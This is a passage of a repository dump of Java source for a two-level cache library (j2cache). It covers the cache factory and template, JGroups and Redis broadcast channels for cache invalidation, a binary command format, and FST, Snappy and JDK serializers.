    "content": "package net.oschina.j2cache;\n\nimport net.oschina.j2cache.broadcast.BroadcastType;\nimport net.oschina.j2cache.store.ehcache.EhCacheProvider;\nimport net.oschina.j2cache.store.redis.RedisCacheProvider;\nimport net.oschina.j2cache.utils.CacheCustoms;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.util.Assert;\n\n/**\n * @author FY\n */\npublic class CacheFactory implements InitializingBean {\n    private static final Logger logger = LoggerFactory.getLogger(CacheFactory.class);\n\n    /** 配置文件：集群环境的组播同步网络配置文件 XML */\n    private String cache_jgroup_conf_file = \"/cache/cache/udp-newwork.xml\";\n    /** 配置文件：ehcache XML */\n    private String cache_ehcache_conf_file = \"/conf/cache/ehcache.xml\";\n    /** 配置文件：redis */\n    private String cache_redis_conf_file = \"/conf/cache/redis.properties\";\n\n    /** 是否开启了集群配置，默认是开启的 */\n    private boolean useCluster = true;\n\n    // 是否开启二级缓存：redis，默认关闭，仅使用ehcache实现\n    private boolean openSecondCache = false;\n    // 缓存广播类型，在集群模式先必须开启；若开启了二级缓存，请确定广播模式\n    private BroadcastType cacheBroadcast;\n\n    private CacheProvider provider_lv1;\n    private CacheProvider provider_lv2;\n\n    /**\n     * 模板类调用，根据Cache LV key获取缓存的provider\n     * @param lvKey 缓存等级，1-一级缓存，2-二级缓存\n     * @return {@link CacheProvider}\n     */\n    public CacheProvider getProvider(byte lvKey) {\n        switch (lvKey) {\n            case CacheCustoms.CACHE_LV_1:\n                return provider_lv1;\n            case CacheCustoms.CACHE_LV_2:\n                return provider_lv2;\n            default:\n                return provider_lv1;\n        }\n    }\n\n    /**\n     * 获得缓存的操作接口实例\n     * @param lvKey 缓存等级，1-一级缓存，2-二级缓存\n     * @param regionName 缓存的region name\n     * @param autoCreate 是否为自动构建\n     * @param listener 缓存事件监听器\n     * @return {@link Cache}\n     */\n    public Cache getCache(byte lvKey, String regionName, boolean autoCreate, CacheExpiredListener listener) {\n        return getProvider(lvKey).buildCache(regionName, autoCreate, listener);\n    }\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        if (openSecondCache) {\n            Assert.notNull(cache_redis_conf_file, \"二级缓存已开启，其配置文件路径不能为 null.\");\n        }\n\n        if (useCluster) {\n            if (cacheBroadcast == null) {\n                throw new IllegalArgumentException(\"集群模式下，必须设置缓存的 broadcast 类型\");\n            }\n            switch (cacheBroadcast) {\n                case JGROUPS_MULTICAST: {\n                    Assert.notNull(cache_jgroup_conf_file, \"组播的网络配置文件路径不能为 null.\");\n                    break;\n                }\n                case REDIS_PUBSUB: {\n                    if (!openSecondCache) {\n                        throw new IllegalArgumentException(\"未开启二级缓存实现，不支持该 broadcast 类型\");\n                    }\n                    break;\n                }\n                default:\n                    throw new IllegalArgumentException(\"不支持的广播类型 : \" + cacheBroadcast);\n            }\n\n        }\n\n        Assert.notNull(cache_ehcache_conf_file, \"一级缓存ehcache的配置文件路径不能为 null.\");\n\n        // 做初始化\n        // 1.初始化一级 cache 的 provider\n        this.provider_lv1 = new EhCacheProvider();\n        this.provider_lv1.start(cache_ehcache_conf_file);\n        // 2.初始化二级cache 的 provider\n        if (openSecondCache) {\n            this.provider_lv2 = new RedisCacheProvider();\n            this.provider_lv2.start(cache_redis_conf_file);\n        }\n\n        // 3.初始化工作完成\n        logger.info(\"缓存初始化完成.\");\n    }\n\n    // ---------------- getter/setter ---------------------\n\n    public String getCache_jgroup_conf_file() {\n        return cache_jgroup_conf_file;\n    }\n\n    public void setCache_jgroup_conf_file(String cache_jgroup_conf_file) {\n        this.cache_jgroup_conf_file = cache_jgroup_conf_file;\n    }\n\n    public String getCache_ehcache_conf_file() {\n        return cache_ehcache_conf_file;\n    }\n\n    public void setCache_ehcache_conf_file(String cache_ehcache_conf_file) {\n        this.cache_ehcache_conf_file = cache_ehcache_conf_file;\n    }\n\n    public String getCache_redis_conf_file() {\n        return cache_redis_conf_file;\n    }\n\n    public void setCache_redis_conf_file(String cache_redis_conf_file) {\n        this.cache_redis_conf_file = cache_redis_conf_file;\n    }\n\n    public boolean isOpenSecondCache() {\n        return openSecondCache;\n    }\n\n    public void setOpenSecondCache(boolean openSecondCache) {\n        this.openSecondCache = openSecondCache;\n    }\n\n    public BroadcastType getCacheBroadcast() {\n        return cacheBroadcast;\n    }\n\n    public void setCacheBroadcast(BroadcastType cacheBroadcast) {\n        this.cacheBroadcast = cacheBroadcast;\n    }\n\n    public boolean isUseCluster() {\n        return useCluster;\n    }\n\n    public void setUseCluster(boolean useCluster) {\n        this.useCluster = useCluster;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheObject.java",
    "content": "package net.oschina.j2cache;\n\nimport java.io.Serializable;\n\n/**\n * 缓存数据内容，包括region/key/value/lv\n */\npublic class CacheObject<V extends Serializable> implements Serializable {\n\n    /** 缓存的RegionName */\n    private String region;\n    /** 缓存传入的key */\n    private Object key;\n    /** 缓存数据 */\n    private Object value;\n    /** 缓存等级，1-一级缓存，2-二级缓存 */\n    private byte lv;\n    /** 缓存写入时间戳: s */\n    private Long createTime;\n    /** 有效期: s */\n    private Integer expired;\n\n    public String getRegion() {\n        return region;\n    }\n\n    public void setRegion(String region) {\n        this.region = region;\n    }\n\n    public Object getKey() {\n        return key;\n    }\n\n    public void setKey(Object key) {\n        this.key = key;\n    }\n\n    public Object getValue() {\n        return value;\n    }\n\n    public void setValue(Object value) {\n        this.value = value;\n    }\n\n    public byte getLv() {\n        return lv;\n    }\n\n    public void setLv(byte lv) {\n        this.lv = lv;\n    }\n\n    public Long getCreateTime() {\n        return createTime;\n    }\n\n    public void setCreateTime(Long createTime) {\n        this.createTime = createTime;\n    }\n\n    public Integer getExpired() {\n        return expired;\n    }\n\n    public void setExpired(Integer expired) {\n        this.expired = expired;\n    }\n\n    // ----------- Ext method --------------\n\n    public void setUp(CacheBox cb) {\n        if (cb != null) {\n            this.createTime = cb.getTimestamp();\n            this.expired = cb.getExpired();\n            this.value = cb.getValue();\n        }\n    }\n\n    public boolean isEmpty() {\n        return this.value == null;\n    }\n\n    @Override\n    public String toString() {\n        return \"CacheObject{\" +\n                \"region='\" + region + '\\'' +\n                \", key=\" + key +\n                \", value=\" + value +\n                \", lv=\" + lv +\n                \", createTime=\" + createTime +\n                \", expired=\" + expired +\n                '}';\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheProvider.java",
    "content": "package net.oschina.j2cache;\n\nimport java.util.Properties;\n\n/**\n * 获取缓存容器实现容器等的实例<br>\n * 支持各种第三方的实现，如：[ehcache|redis|memcached]等，参照redis实现\n */\npublic interface CacheProvider {\n\t\n\t/**\n\t * 缓存的标识名称\n\t * @return return cache provider name\n\t */\n\tString name();\n\t\n\t/**\n\t * 构建实例\n\t * @param regionName {String} region\n\t * @param autoCreate {boolean} 自动创建\n\t * @param listener {CacheExpiredListener} 监听器\n\t * @return {Cache }\n\t * @throws CacheException 缓存异常\n\t */\n\tCache buildCache(String regionName, boolean autoCreate, CacheExpiredListener listener) throws CacheException;\n\t\n\t/**\n\t * 在构建一个容器实例是调用的方法，初始化一些配置信息等，并启动\n\t * @param props {@link Properties}\n\t * @throws CacheException 缓存异常\n\t */\n\tvoid start(Properties props) throws CacheException;\n\n    /**\n     * 启动容器\n     * @param confFilePath 配置文件路径\n     * @throws CacheException 缓存异常\n     */\n    void start(String confFilePath) throws CacheException;\n\t\n\t/**\n\t * 关闭容器实例\n\t */\n\tvoid stop();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/CacheTemplate.java",
    "content": "package net.oschina.j2cache;\n\nimport net.oschina.j2cache.utils.CacheCustoms;\nimport net.oschina.j2cache.utils.StrExtUtils;\n\nimport java.util.List;\n\n/**\n * 缓存对外开发接口\n *\n * @author FY\n */\npublic class CacheTemplate extends CacheAbstractTemplate {\n\n    @Override\n    public CacheObject get(String region, String key) {\n        CacheObject co = new CacheObject();\n        co.setRegion(region);\n        co.setKey(key);\n\n        if (!StrExtUtils.isNullOrEmpty(region) && !StrExtUtils.isNullOrEmpty(key)) {\n            Object object = factory.getCache(CacheCustoms.CACHE_LV_1, region, true, (CacheExpiredListener) getBroadcastChannel()).get(key);\n\n            // 一级缓存中没有找到，到二级中继续查询\n            if (object == null && factory.isOpenSecondCache()) {\n                object = factory.getCache(CacheCustoms.CACHE_LV_2, region, true, null).get(key);\n                co.setLv(CacheCustoms.CACHE_LV_2);\n            } else {\n                co.setLv(CacheCustoms.CACHE_LV_1);\n            }\n\n            // 缓存数据\n            if (object != null) {\n                co.setUp((CacheBox) object);\n            }\n\n        }\n\n        return co;\n    }\n\n    @Override\n    public void set(String region, String key, Object value) {\n        set(region, key, value, 0);\n    }\n\n    @Override\n    public void set(String region, String key, Object value, Integer expired) {\n        if (!StrExtUtils.isNullOrEmpty(region) && !StrExtUtils.isNullOrEmpty(key)) {\n            if (value == null) {\n                // 删除该key下的所有数据\n                evict(region, key);\n            } else {\n                // 1.清除原有的一级缓存数据\n                if (factory.isUseCluster())\n                    sendCmdBroadcast(CacheCustoms.OPT_DELTED_KEY, region, key);\n                // 2.添加缓存数据\n                CacheBox cb = new CacheBox(value, expired);\n                factory.getCache(CacheCustoms.CACHE_LV_1, region, true, (CacheExpiredListener) getBroadcastChannel()).put(key, cb);\n                if (factory.isOpenSecondCache())\n                    factory.getCache(CacheCustoms.CACHE_LV_2, region, true, null).put(key, cb);\n            }\n        }\n    }\n\n    @Override\n    public void evict(String region, String key) {\n        // 1.删除一级缓存\n        factory.getCache(CacheCustoms.CACHE_LV_1, region, true, (CacheExpiredListener) getBroadcastChannel()).evict(key);\n        // 2.删除二级缓存\n        if (factory.isOpenSecondCache())\n            factory.getCache(CacheCustoms.CACHE_LV_2, region, true, null).evict(key);\n        // 3.广播删除消息\n        if (factory.isUseCluster())\n            sendCmdBroadcast(CacheCustoms.OPT_DELTED_KEY, region, key);\n    }\n\n    @Override\n    public void batchEvict(String region, List keys) {\n        // 1.删除一级缓存\n        factory.getCache(CacheCustoms.CACHE_LV_1, region, true, (CacheExpiredListener) getBroadcastChannel()).evict(keys);\n        // 2.删除二级缓存\n        if (factory.isOpenSecondCache())\n            factory.getCache(CacheCustoms.CACHE_LV_2, region, true, null).evict(keys);\n        // 3.广播删除消息\n        if (factory.isUseCluster())\n            sendCmdBroadcast(CacheCustoms.OPT_DELTED_KEY, region, keys);\n    }\n\n    @Override\n    public void clear(String region) {\n        // 1.清除一级缓存\n        factory.getCache(CacheCustoms.CACHE_LV_1, region, true, (CacheExpiredListener) getBroadcastChannel()).clear();\n        // 2.清除二级缓存\n        if (factory.isOpenSecondCache())\n            factory.getCache(CacheCustoms.CACHE_LV_2, region, true, null).clear();\n    }\n\n    @Override\n    public List keys(String region) {\n        return factory.getCache(CacheCustoms.CACHE_LV_1, region, true, (CacheExpiredListener) getBroadcastChannel()).keys();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/broadcast/BroadcastType.java",
    "content": "package net.oschina.j2cache.broadcast;\n\n/**\n * 集群缓存的广播问题\n *\n * @author FY\n */\npublic enum BroadcastType {\n\n    JGROUPS_MULTICAST, REDIS_PUBSUB;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/broadcast/Command.java",
    "content": "package net.oschina.j2cache.broadcast;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.nio.charset.Charset;\n\n/**\n * 广播消息命令封装\n * <P><规则：/P>\n * <ul>\n *     <li>第 1        个字节为命令代码，长度为1byte [OPT]</li>\n *     <li>第 2至3     个字节为缓存region长度，长度为2 [R_LEN]</li>\n *     <li>第 4至N     为region值，长度为N-4 [R_LEN]</li>\n *     <li>第 N+1至N+2 为key长度，长度为2 [K_LEN]</li>\n *     <li>第 N+3至M   为key内容容，长度为M-(N+3)</li>\n * </ul>\n *\n * @author FY\n */\npublic class Command {\n    private static final Logger logger = LoggerFactory.getLogger(Command.class);\n    private static final Charset UTF_8 = Charset.forName(\"UTF-8\");\n\n    private final byte operator;\n    private final String region;\n    private final String key;\n\n    public Command(byte operator, String region, Object key) {\n        this.operator = operator;\n        this.region = region;\n        this.key = String.valueOf(key);\n    }\n\n    public byte getOperator() {\n        return operator;\n    }\n\n    public String getRegion() {\n        return region;\n    }\n\n    public Object getKey() {\n        return key;\n    }\n\n    // -----------------------------------------------------------------------\n\n    /**\n     * 转换为传输buff\n     * @return {@link byte}\n     */\n    public byte[] toBuff() {\n        byte[] kBuff = key.getBytes(UTF_8);\n        byte[] rBytes = region.getBytes(UTF_8);\n\n        int rLen = rBytes.length;\n        int kLen = kBuff.length;\n\n        byte[] buff = new byte[5 + rLen + kLen];\n        int idx = 0;\n\n        buff[idx] = operator;\n\n        buff[++idx] = (byte) (rLen >> 8);\n        buff[++idx] = (byte) (rLen & 0xFF);\n        System.arraycopy(rBytes, 0, buff, ++idx, rLen);\n        idx += rLen;\n\n        buff[idx++] = (byte) (kLen >> 8);\n        buff[idx++] = (byte) (kLen & 0xFF);\n        System.arraycopy(kBuff, 0, buff, idx, kLen);\n\n        return buff;\n    }\n\n    /**\n     * 接收到广播消息后，解析为{@link Command}对象\n     * @param buff 消息buff数据\n     * @return {@link Command}\n     */\n    public static Command parse(byte[] buff) {\n        Command cmd = null;\n\n        try {\n            int idx = 0;\n            byte operator = buff[idx]; // 取得操作KEY, 如：{@see CacheCustoms#OPT_DELTED_KEY}\n\n            int rLen = buff[++idx] << 8;\n            rLen += buff[++idx];\n\n            if (rLen > 0) {\n                String region = new String(buff, ++idx, rLen, UTF_8);\n                idx += rLen;\n\n                int kLen = buff[idx++] << 8;\n                kLen += buff[idx++];\n\n                if (kLen > 0) {\n                    byte[] kBuff = new byte[kLen];\n                    System.arraycopy(buff, idx, kBuff, 0, kLen);\n                    Object key = new String(kBuff, UTF_8);\n                    cmd = new Command(operator, region, key);\n                }\n            }\n\n        } catch (Exception e) {\n            logger.error(\"解析缓存JGroup广播事件消息为Command对象失败.\", e);\n        }\n\n        return cmd;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/broadcast/JGroupBroadcastChannel.java",
    "content": "package net.oschina.j2cache.broadcast;\n\nimport net.oschina.j2cache.CacheBroadcastChannel;\nimport net.oschina.j2cache.utils.CacheCustoms;\nimport net.oschina.j2cache.CacheException;\nimport net.oschina.j2cache.CacheExpiredListener;\nimport net.oschina.j2cache.CacheFactory;\nimport org.jgroups.JChannel;\nimport org.jgroups.Message;\nimport org.jgroups.ReceiverAdapter;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.net.URL;\nimport java.util.List;\n\n/**\n * 缓存信息变更的广播通道 - JGROUP的多播模式实现\n *\n * @author FY\n */\npublic class JGroupBroadcastChannel extends ReceiverAdapter implements CacheExpiredListener, CacheBroadcastChannel {\n    private static final Logger logger  = LoggerFactory.getLogger(JGroupBroadcastChannel.class);\n\n    private JChannel channel;\n    private CacheFactory factory;\n\n    /**\n     * 初始化组播网络配置\n     * @param confFilePath JGroup Channel network config file path\n     * @param clusterName 集群分组名称\n     */\n    public JGroupBroadcastChannel(final String confFilePath, final String clusterName, final CacheFactory factory) throws Exception {\n        if (confFilePath == null || \"\".equals(confFilePath)) {\n            throw new CacheException(String.format(\"组播的网络配置文件加载失败: %s\", confFilePath));\n        }\n\n        // 2.初始化JGroup channel\n        long startTime = System.currentTimeMillis();\n\n        URL networkXML = getClass().getResource(confFilePath);\n        if (networkXML == null) {\n            networkXML = getClass().getClassLoader().getParent().getResource(confFilePath);\n        }\n        if (networkXML == null) {\n            throw new CacheException(String.format(\"组播的网络配置文件加载失败: %s\", confFilePath));\n        }\n        try {\n            channel = new JChannel(networkXML);\n        } catch (Exception e) {\n            throw new CacheException(\"Cache JGroup network start fail.\", e);\n        }\n        channel.setReceiver(this);\n        // channel.setName(name);\n        channel.connect(clusterName);\n\n        // Factory\n        this.factory = factory;\n\n        logger.info(\"成功创建缓存广播通道(JGroup Connection to channel) : {}, cluster name is : {}, 耗时 : {} ms\", channel.getAddress().toString(), clusterName, System.currentTimeMillis() - startTime);\n    }\n\n    /**\n     * 广播消息接收方法\n     * @param msg {@link Message}\n     */\n    @Override\n    public void receive(Message msg) {\n        byte[] buff = msg.getBuffer();\n        // 1.无效消息校验\n        if (buff.length < 1) {\n            logger.warn(\"Cache JGroup Message is empty.\");\n            return ;\n        }\n\n        // 2.不处理自己发送的消息\n        if (msg.getSrc().equals(channel.getAddress())) {\n            return ;\n        }\n\n        // 3.正式处理\n        try {\n            Command cmd = Command.parse(buff);\n\n            if (cmd == null) {\n                return ;\n            }\n\n            switch (cmd.getOperator()) {\n                case CacheCustoms.OPT_DELTED_KEY:\n                    onDeleteCacheKey(cmd.getRegion(), cmd.getKey());\n                    break;\n                default:\n                    logger.warn(\"尚未支持的消息类型 : {}\", cmd.getOperator());\n            }\n\n        } catch (Exception e) {\n            logger.error(\"未能正确处理接收到的JGroup消息.\", e);\n        }\n\n    }\n\n    @Override\n    public void notifyElementExpired(String region, Object key) {\n        logger.debug(\"缓存数据过期 -> region:{}, key:{}\", region, key);\n\n        // 1.清除二级缓存\n        if (factory.isOpenSecondCache()) {\n            if (key instanceof List) {\n                factory.getProvider(CacheCustoms.CACHE_LV_2).buildCache(region, false, null).evict((List) key);\n            } else {\n                factory.getProvider(CacheCustoms.CACHE_LV_2).buildCache(region, false, null).evict(key);\n            }\n        }\n\n        // 2.推送清除缓存的广播消息\n        if (factory.isUseCluster() && BroadcastType.JGROUPS_MULTICAST.equals(factory.getCacheBroadcast()))\n            sendCmdBroadcast(CacheCustoms.OPT_DELTED_KEY, region, key);\n    }\n\n    /**\n     * 删除一级缓存的内容\n     * @param region 缓存region name\n     * @param key 缓存 key name\n     */\n    @Override\n    public void onDeleteCacheKey(String region, Object key) {\n        if (key instanceof List) {\n            factory.getProvider(CacheCustoms.CACHE_LV_1).buildCache(region, true, this).evict((List) key);\n        } else {\n            factory.getProvider(CacheCustoms.CACHE_LV_1).buildCache(region, true, this).evict(key);\n        }\n    }\n\n    /**\n     * 发送JGroup广播消息\n     * @param optKey 操作代码\n     * @param region 缓存region name\n     * @param key 缓存 key\n     */\n    @Override\n    public void sendCmdBroadcast(byte optKey, String region, Object key) throws CacheException {\n        Command cmd = new Command(optKey, region, key);\n\n        Message msg = new Message(null, null, cmd.toBuff());\n        try {\n            channel.send(msg);\n        } catch (Exception e) {\n            logger.error(\"发送 代码为 [{}] 的JGroup事件消息失败 -> region:{}, key:{}\", optKey, region, key, e);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/broadcast/RedisBroadcastChannel.java",
    "content": "package net.oschina.j2cache.broadcast;\n\nimport net.oschina.j2cache.store.redis.RedisCacheProvider;\nimport net.oschina.j2cache.utils.CacheCustoms;\nimport net.oschina.j2cache.CacheBroadcastChannel;\nimport net.oschina.j2cache.CacheException;\nimport net.oschina.j2cache.CacheExpiredListener;\nimport net.oschina.j2cache.CacheFactory;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport redis.clients.jedis.BinaryJedisPubSub;\nimport redis.clients.jedis.Jedis;\nimport redis.clients.util.SafeEncoder;\n\nimport java.util.List;\n\n/**\n * @author FY\n */\npublic class RedisBroadcastChannel extends BinaryJedisPubSub implements CacheExpiredListener, CacheBroadcastChannel {\n    private static final Logger logger = LoggerFactory.getLogger(RedisBroadcastChannel.class);\n\n    private CacheFactory factory;\n    private String clusterName;\n\n    private final Thread threadSubscribe;\n//    private static final RedisBroadcastChannel subscribe = new RedisBroadcastChannel();\n\n    public RedisBroadcastChannel(final String clusterName, final CacheFactory factory) {\n        this.factory = factory;\n        this.clusterName = clusterName;\n\n        try {\n            long startTime = System.currentTimeMillis();\n            threadSubscribe = new Thread(new Runnable() {\n                @Override\n                public void run() {\n                    Jedis jedis = RedisCacheProvider.getResource();\n                    jedis.subscribe(RedisBroadcastChannel.this, SafeEncoder.encode(clusterName));\n                    RedisCacheProvider.returnResource(jedis);\n                }\n            });\n            threadSubscribe.start();\n\n            logger.info(\"成功创建缓存广播通道(Redis pub/sub) : {}, 耗时 : {}\", clusterName, System.currentTimeMillis() - startTime);\n        } catch (Exception e) {\n            throw new CacheException(\"初始化Redis Subscribe线程失败.\", e);\n        }\n\n    }\n\n    @Override\n    public void onDeleteCacheKey(String region, Object key) throws CacheException {\n        if (key instanceof List) {\n            factory.getProvider(CacheCustoms.CACHE_LV_1).buildCache(region, true, this).evict((List) key);\n        } else {\n            factory.getProvider(CacheCustoms.CACHE_LV_1).buildCache(region, true, this).evict(key);\n        }\n    }\n\n    @Override\n    public void sendCmdBroadcast(byte optKey, String region, Object key) throws CacheException {\n        Command cmd = new Command(optKey, region, key);\n\n        Jedis jedis = RedisCacheProvider.getResource();\n        try {\n            jedis.publish(SafeEncoder.encode(clusterName), cmd.toBuff());\n        } catch (Exception e) {\n            logger.error(\"发送 代码为 [{}] 的 Redis Pub/Sub 事件消息失败 -> region:{}, key:{}\", optKey, region, key, e);\n        } finally {\n            RedisCacheProvider.returnResource(jedis);\n        }\n    }\n\n    @Override\n    public void notifyElementExpired(String region, Object key) {\n        logger.debug(\"缓存数据过期 -> region:{}, key:{}\", region, key);\n\n        // 1.清除二级缓存\n        if (factory.isOpenSecondCache()) {\n            if (key instanceof List) {\n                factory.getProvider(CacheCustoms.CACHE_LV_2).buildCache(region, false, null).evict((List) key);\n            } else {\n                factory.getProvider(CacheCustoms.CACHE_LV_2).buildCache(region, false, null).evict(key);\n            }\n        }\n\n        // 2.推送清除缓存的广播消息\n        if (factory.isUseCluster() && BroadcastType.REDIS_PUBSUB.equals(factory.getCacheBroadcast()))\n            sendCmdBroadcast(CacheCustoms.OPT_DELTED_KEY, region, key);\n    }\n\n    /**\n     * 消息接受处理\n     * @param channel 缓存的通道名称\n     * @param message 消息数据\n     */\n    @Override\n    public void onMessage(byte[] channel, byte[] message) {\n\n        // 过滤无效消息\n        if (message == null || message.length <= 0) {\n            logger.warn(\"Redis subscribe message is empty!\");\n            return ;\n        }\n\n        try {\n            Command cmd = Command.parse(message);\n            if (cmd == null) {\n                return ;\n            }\n\n            switch (cmd.getOperator()) {\n                case CacheCustoms.OPT_DELTED_KEY:\n                    onDeleteCacheKey(cmd.getRegion(), cmd.getKey());\n                    break;\n                default:\n                    logger.warn(\"尚未支持的消息类型 : {}\", cmd.getOperator());\n            }\n        } catch (Exception e) {\n            logger.error(\"未能正确处理接收到的JGroup消息.\", e);\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/serializer/FstSerializer.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport org.nustaq.serialization.FSTConfiguration;\nimport org.nustaq.serialization.FSTObjectInput;\nimport org.nustaq.serialization.FSTObjectOutput;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\n\n/**\n * Fast-Serialization的实现\n */\npublic class FstSerializer<T> implements Serializer<T> {\n    private static final Logger log = LoggerFactory.getLogger(FstSerializer.class);\n    private static final FSTConfiguration conf = FSTConfiguration.createDefaultConfiguration();\n\n    @Override\n    public byte[] serialize(final T value) {\n        if (value == null)\n            return EMPTY_BYTES;\n        ByteArrayOutputStream os = null;\n        try {\n            os = new ByteArrayOutputStream();\n            FSTObjectOutput oos = conf.getObjectOutput(os);\n            oos.writeObject(value);\n            oos.flush();\n\n            return os.toByteArray();\n        } catch (Exception e) {\n            log.warn(\"序列化失败, value = {}\", value, e);\n            return EMPTY_BYTES;\n        } finally {\n            try {\n                if (os != null)\n                    os.close();\n            } catch (IOException e) {\n                log.warn(\"序列化失败, value = {}\", value, e);\n            }\n        }\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    @Override\n    public T deserialize(final byte[] bytes) {\n        if (SerializerTools.isEmpty(bytes)) return null;\n        ByteArrayInputStream is = null;\n        try {\n            is = new ByteArrayInputStream(bytes);\n            FSTObjectInput ois = conf.getObjectInput(is);\n            return (T) ois.readObject();\n        } catch (Exception e) {\n            log.warn(\"反序列化 bytes 失败.\", e);\n            return null;\n        } finally {\n            try {\n                if (is != null)\n                    is.close();\n            } catch (IOException e) {\n                log.warn(\"反序列化 bytes 失败.\", e);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/serializer/FstSnappySerializer.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.xerial.snappy.Snappy;\n\nimport java.io.IOException;\n\n/**\n * Fast-Serialization搭载Snappy实现,对序列化数据做压缩\n */\npublic class FstSnappySerializer<T> implements Serializer<T> {\n    private static final Logger log = LoggerFactory.getLogger(FstSnappySerializer.class);\n\n    private final Serializer<T> inner;\n\n    public FstSnappySerializer() {\n        this(new FstSerializer<T>());\n    }\n\n    public FstSnappySerializer(Serializer<T> innerSerializer) {\n        this.inner = innerSerializer;\n    }\n\n    @Override\n    public byte[] serialize(T value) {\n        try {\n            return Snappy.compress(inner.serialize(value));\n        } catch (IOException e) {\n            log.warn(\"序列化失败, value = \" + value, e);\n            return EMPTY_BYTES;\n        }\n    }\n\n    @Override\n    public T deserialize(byte[] bytes) {\n        if (SerializerTools.isEmpty(bytes))\n            return null;\n        try {\n            return inner.deserialize(Snappy.uncompress(bytes));\n        } catch (IOException e) {\n            log.warn(\"反序列化 bytes 失败.\", e);\n            return null;\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/serializer/JdkSerializer.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.*;\n\n/**\n * JDK Serializer 实现\n */\npublic class JdkSerializer<T> implements Serializer<T> {\n\tprivate static final Logger log = LoggerFactory.getLogger(JdkSerializer.class);\n\n    @Override\n    public byte[] serialize(final T value) {\n        if (value == null) return EMPTY_BYTES;\n        ByteArrayOutputStream os = null;\n        ObjectOutputStream oos = null;\n        try {\n            os = new ByteArrayOutputStream();\n            oos = new ObjectOutputStream(os);\n            oos.writeObject(value);\n            oos.flush();\n\n            return os.toByteArray();\n        } catch (Exception e) {\n            log.warn(\"序列化失败, value = \" + value, e);\n            return EMPTY_BYTES;\n        } finally {\n    \t\ttry {\n    \t\t\tif (os != null)\n    \t\t\t\tos.close();\n    \t\t\tif (oos != null)\n    \t\t\t\toos.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\tlog.warn(\"序列化失败, value = \" + value, e);\n\t\t\t}\n        }\n    }\n\n    @Override\n    @SuppressWarnings(\"unchecked\")\n    public T deserialize(final byte[] bytes) {\n        if (SerializerTools.isEmpty(bytes))\n            return null;\n        ByteArrayInputStream is = null;\n        ObjectInputStream ois = null;\n        try {\n            is = new ByteArrayInputStream(bytes);\n            ois = new ObjectInputStream(is);\n            return (T) ois.readObject();\n        } catch (Exception e) {\n            log.warn(\"反序列化 bytes 失败.\", e);\n            return null;\n        } finally {\n    \t\ttry {\n    \t\t\tif (is != null)\n    \t\t\t\tis.close();\n    \t\t\tif (ois != null)\n    \t\t\t\tois.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\tlog.warn(\"反序列化 bytes 失败.\", e);\n\t\t\t}\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/serializer/Serializer.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport java.nio.charset.Charset;\n\n/**\n * 缓存序列化接口，允许多种实现<br>\n * 目前两种序列化方式：<br>\n * 1.StringSerializer<br>\n * 2.FstSerializer搭载在Snappy上面实现<br>\n * 3.JdkSerializer\n * 4.\n */\npublic interface Serializer<T> {\n\n    byte[] EMPTY_BYTES = new byte[0];\n\n    String EMPTY_STR = \"\";\n\n    Charset UTF_8 = Charset.forName(\"UTF-8\");\n\n    /**\n     * Serialize Object\n     */\n    byte[] serialize(final T value);\n\n    /**\n     * Deserialize to object\n     */\n    T deserialize(final byte[] bytes);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_j2cache/src/main/java/net/oschina/j2cache/serializer/SerializerTools.java",
    "content": "package net.oschina.j2cache.serializer;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.List;\n\n/**\n * 序列化工具类\n */\npublic class SerializerTools {\n    private static final Logger log = LoggerFactory.getLogger(SerializerTools.class);\n\n    private static final StringSerializer keySerializer = new StringSerializer();\n    private static final FstSnappySerializer<Object> valueSerializer = new FstSnappySerializer<Object>();\n\n    static boolean isEmpty(byte[] data) {\n        return (data == null || data.length == 0);\n    }\n\n    /**\n     * 序列化KEY\n     * @param key {Object}\n     * @return byte\n     */\n    public static byte[] serializeKey(final Object key) {\n        return keySerializer.serialize(key.toString());\n    }\n\n    /**\n     * 反序列化KEY\n     * @param key {byte[]}\n     * @return byte\n     */\n    public static Object deserializeKey(final byte[] key) {\n        return keySerializer.deserialize(key);\n    }\n\n    /**\n     * 序列化VALUE\n     * @param value {Object}\n     * @return byte\n     */\n    public static byte[] serializeValue(final Object value) {\n        try {\n            